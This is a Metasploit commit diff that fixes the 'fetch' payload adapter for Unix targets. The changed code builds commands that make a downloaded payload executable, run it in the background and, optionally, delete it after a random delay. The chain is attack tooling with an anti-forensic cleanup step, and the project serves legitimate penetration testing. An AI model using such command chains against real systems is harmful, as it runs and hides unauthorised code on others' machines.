Land rapid7#19719, Fix bug in fetch payload when FETCH_DELETE set to true

Author: msutovsky-r7

lib/msf/core/payload/adapter/fetch.rb

@@ -202,9 +202,9 @@ def _execute_win
   end
 
   def _execute_nix
-    cmds = "; chmod +x #{_remote_destination_nix}"
-    cmds << "; #{_remote_destination_nix} &"
-    cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
+    cmds = ";chmod +x #{_remote_destination_nix}"
+    cmds << ";#{_remote_destination_nix}&"
+    cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
     cmds
   end